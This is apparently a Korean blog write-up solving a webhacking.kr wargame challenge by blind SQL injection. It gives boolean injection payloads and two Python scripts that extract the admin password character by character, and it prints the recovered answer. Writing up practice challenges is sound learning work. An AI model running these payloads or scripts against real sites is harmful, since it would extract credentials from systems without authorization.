티스토리 뷰
Blind SQL Injection 문제라고 명시가 되어 있고 입력을 할 수 있고 결과를 출력해주는 부분도 있다.
먼저 숫자 1을 Submit을 해보면 위 그림과 같이 Result: True라고 표시가 되고 숫자 2를 넣어도 마찬가지로 True가 표시된다.
숫자 3이나 -1과 같이 1, 2가 아닌 값을 Submit할 경우 Result: False라고 표시가 된다.
URL 값을 보면 파라미터로 no, id, pw가 있는 것을 알 수 있고 이 값들이 테이블의 컬럼명이라고 생각하고 아래와 같이 id의 길이를 알 수 있다.
no=1 and length(id)=4
를 넣을 경우에 False가 표시된다.
no=1 and length(id)=5
를 넣을 경우에는 True가 표시된다.
마찬가지로 pw도 길이를 구할 수 있다.
1%20and%20length(pw)=5 : True
2%20and%20length(pw)=19 : True
pw 길이 구하는 파이썬 코드
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import urllib2 import time session = "225b0794pin51g388pbvp9o7k3" url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php" for len in xrange(0,30): query = "?no=2%20and%20length(pw)%20=%20" + str(len) req = urllib2.Request(url+query) req.add_header("Cookie","PHPSESSID="+session) if -1 != urllib2.urlopen(req).read().find("True"): print "length : " + str(len) time.sleep(0.1) | cs |
no=1%20and%20id=concat(char(103,117,101,115,116)) : True (value: guest)
no=2%20and%20id=concat(char(97,100,109,105,110)) : True (value: admin)
no |
id |
pw |
1 |
guest |
XXXXX (5글자) |
2 |
admin |
XXXXXXXXXXXXXXXXXXX (19글자) |
pw 값 구하는 파이썬 코드
#!/usr/bin/python # -*- coding: utf-8 -*- # do9dark import urllib2 import time session = "225b0794pin51g388pbvp9o7k3" url = "http://webhacking.kr/challenge/bonus/bonus-1/index.php" for s in xrange(1,20): for char in xrange(0x20,0x7f): query = "?no=2%20and%20ascii(substr(pw,"+str(s)+",1))%20=%20"+str(char) req = urllib2.Request(url+query) req.add_header("Cookie","PHPSESSID="+session) if -1 != urllib2.urlopen(req).read().find("True"): print str(s) + " : " + chr(char) +" ("+ hex(char) + ")" time.sleep(0.1) | cs |
파이썬 코드를 이용하여 값을 구해보면 아래 표와 같다.
no |
id |
pw |
1 |
guest |
guest |
2 |
admin |
blindsqlinjectionkk |
admin의 pw 값을 인증하면 문제를 풀 수 있다.
'Wargame > Webhacking.kr' 카테고리의 다른 글
Challenge 26 (0) | 2015.08.07 |
---|---|
Challenge 25 (0) | 2015.08.07 |
Challenge 24 (0) | 2015.08.02 |
Challenge 23 (0) | 2015.08.02 |
Challenge 22 (0) | 2015.07.12 |
Challenge 20 (0) | 2015.07.09 |
Challenge 19 (0) | 2015.07.08 |
Challenge 18 (0) | 2015.07.07 |
Challenge 17 (0) | 2015.07.07 |
Challenge 16 (0) | 2015.07.07 |